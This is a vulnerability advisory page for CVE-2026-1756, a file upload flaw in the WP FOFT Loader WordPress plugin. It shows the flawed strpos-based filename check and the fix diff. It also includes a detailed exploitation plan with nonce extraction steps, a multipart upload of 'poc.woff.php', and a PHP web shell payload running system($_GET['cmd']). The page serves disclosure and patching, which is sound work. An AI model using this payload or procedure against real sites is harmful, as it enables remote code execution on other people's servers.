CVE-2026-1756

WP FOFT Loader <= 2.1.39 - Authenticated (Author+) Arbitrary File Upload

highUnrestricted Upload of File with Dangerous Type
8.8
CVSS Score
8.8
CVSS Score
high
Severity
2.1.40
Patched in
1d
Time to patch

Description

The WP FOFT Loader plugin for WordPress is vulnerable to arbitrary file uploads due to incorrect file type validation in the 'WP_FOFT_Loader_Mimes::file_and_ext' function in all versions up to, and including, 2.1.39. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=2.1.39
PublishedFebruary 3, 2026
Last updatedFebruary 4, 2026
Affected pluginwp-foft-loader

What Changed in the Fix

Changes introduced in v2.1.40

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-1756 ## 1. Vulnerability Summary The **WP FOFT Loader** plugin (up to version 2.1.39) contains a critical unrestricted file upload vulnerability. The flaw exists in the `WP_FOFT_Loader_Mimes::file_and_ext` function, which is hooked into the WordPress `wp_chec…

Show full research plan

Exploitation Research Plan - CVE-2026-1756

1. Vulnerability Summary

The WP FOFT Loader plugin (up to version 2.1.39) contains a critical unrestricted file upload vulnerability. The flaw exists in the WP_FOFT_Loader_Mimes::file_and_ext function, which is hooked into the WordPress wp_check_filetype_and_ext filter.

The function uses an insecure strpos() check on the filename to determine if a file is a WOFF or WOFF2 font. If the string .woff or .woff2 appears anywhere in the filename, the function explicitly overrides the file's extension to woff or woff2 and sets a permissive MIME type. Because this filter is applied globally to all WordPress uploads, an authenticated user (Author level or higher) can bypass extension restrictions by naming a malicious PHP file with an embedded font extension (e.g., exploit.woff.php). WordPress will validate the file as a woff font but save it with the original .php extension, allowing for Remote Code Execution (RCE).

2. Attack Vector Analysis

  • Vulnerable Hook: wp_check_filetype_and_ext filter, registered in WP_FOFT_Loader_Mimes::allow_woff().
  • Vulnerable Function: WP_FOFT_Loader_Mimes::file_and_ext in includes/class-wp-foft-loader-mimes.php.
  • Endpoint: Any file upload endpoint that utilizes wp_handle_upload(), most notably wp-admin/async-upload.php (Media Library).
  • Authentication: Required (Author+). Authors have the upload_files capability by default.
  • Payload Parameter: async-upload (file multipart data).
  • Preconditions: The plugin must be active.

3. Code Flow

  1. Request Entry: An authenticated user sends a POST request to /wp-admin/async-upload.php to upload a file named shell.woff.php.
  2. Core Processing: WordPress calls wp_handle_upload(), which calls _wp_handle_upload().
  3. Validation Trigger: _wp_handle_upload() calls wp_check_filetype_and_ext() to verify the file's extension and MIME type.
  4. Filter Execution: The plugin's filter WP_FOFT_Loader_Mimes::file_and_ext($types, $file, $filename, $mimes) is executed.
  5. Vulnerable Logic:
    • strpos( 'shell.woff.php', '.woff' ) returns 5 (not false).
    • The code sets $types['ext'] = 'woff' and $types['type'] = '...|application/octet-stream'.
  6. Bypass: WordPress receives the modified $types array. It checks if the extension woff is allowed. Since the plugin also adds woff to the allowed list in mime_types(), validation passes.
  7. Persistence: WordPress moves the file to the wp-content/uploads directory, retaining the original name shell.woff.php.

4. Nonce Acquisition Strategy

To upload files via the Media Library's asynchronous handler, a media-form nonce is required.

  1. Step 1: Use wp-cli to create an Author user if one does not exist.
  2. Step 2: Log in as the Author user.
  3. Step 3: Navigate to the Media Upload page: wp-admin/media-new.php.
  4. Step 4: Extract the nonce from the _wpPluploadSettings JavaScript object.
    • Tool: browser_eval
    • Command: window._wpPluploadSettings.defaults.multipart_params._wpnonce
  5. Step 5: Use this nonce in the _wpnonce field of the multipart POST request.

5. Exploitation Strategy

The goal is to upload a PHP shell to the server.

Request Details

  • URL: http://[target]/wp-admin/async-upload.php
  • Method: POST
  • Content-Type: multipart/form-data
  • Parameters:
    • _wpnonce: [Extracted Nonce]
    • action: upload-attachment
    • async-upload: (The file content)
      • Filename: poc.woff.php
      • Content: <?php echo "VULN_EXPLOITED"; system($_GET['cmd']); ?>

Steps

  1. Setup: Authenticate as an Author.
  2. Nonce Extraction: Navigate to media-new.php and run the JS eval to get the nonce.
  3. Upload: Send the http_request (Playwright) to async-upload.php with the payload named poc.woff.php.
  4. Locate Payload: The response will contain the attachment ID and the file URL. If not explicitly returned, the file will be at /wp-content/uploads/[YYYY]/[MM]/poc.woff.php.
  5. Execution: Access the uploaded file via GET request: http://[target]/wp-content/uploads/[YYYY]/[MM]/poc.woff.php?cmd=id.

6. Test Data Setup

  1. Active Plugin: Ensure wp-foft-loader is active.
  2. User Creation:
    wp user create attacker attacker@example.com --role=author --user_pass=password123
    
  3. Verification Page: No special shortcodes are needed because the filter is global, but navigating to wp-admin/media-new.php is necessary to fetch the media-form nonce.

7. Expected Results

  • The async-upload.php response should return 200 OK with a JSON body containing "success": true.
  • The url property in the response should point to a .php file.
  • Accessing the URL should execute the PHP code and return the string VULN_EXPLOITED.

8. Verification Steps

  1. List Attachments: Verify the file exists in the database.
    wp post list --post_type=attachment --format=csv | grep "poc.woff.php"
    
  2. Check Filesystem: Confirm the file is on disk in the uploads directory.
    ls -la /var/www/html/wp-content/uploads/202*/*/poc.woff.php
    
  3. Verify Execution:
    # Use http_request to check output
    # Expected: VULN_EXPLOITED followed by 'id' command output
    

9. Alternative Approaches

If async-upload.php is restricted or nonces are difficult to retrieve:

  • REST API Media Endpoint: Use POST /wp-json/wp/v2/media. This requires a wp_rest nonce.
    • Nonce Extraction: window.wpApiSettings.nonce from any admin page.
    • Header: X-WP-Nonce: [nonce]
    • File Name: Sent via Content-Disposition header.
  • Settings Page Upload: If the plugin's own settings page (options-general.php?page=wp-foft-loader) handles uploads via a specific class (WP_FOFT_Loader_Upload), audit that class for missing capability checks, though the global filter makes this unnecessary.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP FOFT Loader plugin for WordPress is vulnerable to arbitrary file uploads because it uses an insecure strpos check on filenames within the wp_check_filetype_and_ext filter. Authenticated attackers with Author-level permissions or higher can bypass extension restrictions by including '.woff' or '.woff2' anywhere in a malicious filename (e.g., 'shell.woff.php'), leading to remote code execution.

Vulnerable Code

// includes/class-wp-foft-loader-mimes.php:42	 
public function file_and_ext( $types, $file, $filename, $mimes ) {
	if ( false !== strpos( $filename, '.woff' ) ) {
		$types['ext']  = 'woff';
		$types['type'] = 'font/woff|application/font-woff|application/x-font-woff|application/octet-stream';
	}
	if ( false !== strpos( $filename, '.woff2' ) ) {
		$types['ext']  = 'woff2';
		$types['type'] = 'font/woff2|application/octet-stream|font/x-woff2';
	}

	return $types;
}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/wp-foft-loader/2.1.39/includes/class-wp-foft-loader-mimes.php	2021-01-08 22:08:02.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-foft-loader/2.1.40/includes/class-wp-foft-loader-mimes.php	2026-02-03 17:15:24.000000000 +0000
@@ -42,26 +42,37 @@
 	 * @param string $mimes Mimes to add.
 	 */
 	public function file_and_ext( $types, $file, $filename, $mimes ) {
-		if ( false !== strpos( $filename, '.woff' ) ) {
-			$types['ext']  = 'woff';
-			$types['type'] = 'font/woff|application/font-woff|application/x-font-woff|application/octet-stream';
-		}
-		if ( false !== strpos( $filename, '.woff2' ) ) {
-			$types['ext']  = 'woff2';
-			$types['type'] = 'font/woff2|application/octet-stream|font/x-woff2';
-		}
-
+		$ext                = pathinfo( $filename, PATHINFO_EXTENSION );
+		$allowed_ext        = array(
+			'woff',
+			'woff2',
+		);
+		$mime_type          = mime_content_type( $file );
+		$allowed_mime_types = array(
+			'font/woff',
+			'font/woff2',
+			'application/font-woff',
+			'application/font-woff2',
+		);
+		if ( ( in_array( $mime_type, $allowed_mime_types, true ) ) && ( in_array( $ext, $allowed_ext, true ) ) ) {
+			$types['ext']  = $ext;
+			if ( 'woff' === $ext ) {
+				$types['type'] = 'font/woff|application/font-woff';
+			} else if ( 'woff2' === $ext ) {
+				$types['type'] = 'font/woff2|application/font-woff2';
+			};
+		};
 		return $types;
 	}
 
 	/**
 	 * Add mime types.
 	 *
-	 * @param array $existing_mimes Array of existing mimes to modified.
+	 * @param array $existing_mimes Array of existing mimes to be modified.
 	 */
 	public function mime_types( $existing_mimes ) {
-		$existing_mimes['woff']  = 'font/woff|application/font-woff|application/x-font-woff|application/octet-stream';
-		$existing_mimes['woff2'] = 'font/woff2|application/octet-stream|font/x-woff2';
+		$existing_mimes['woff']  = 'font/woff|application/font-woff';
+		$existing_mimes['woff2'] = 'font/woff2|application/font-woff2';
 		return $existing_mimes;
 	}

Exploit Outline

To exploit this vulnerability, an attacker must have Author-level access to the WordPress dashboard. The attacker prepares a PHP web shell with a filename that includes a font extension string, such as 'exploit.woff.php'. By uploading this file via the standard WordPress media upload endpoint (wp-admin/async-upload.php) using a valid media-form nonce, the plugin's filter will identify the file as a legitimate font because of the '.woff' substring. WordPress will then permit the upload while retaining the original .php extension. Once uploaded, the attacker can execute arbitrary PHP code by accessing the file directly in the wp-content/uploads directory.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.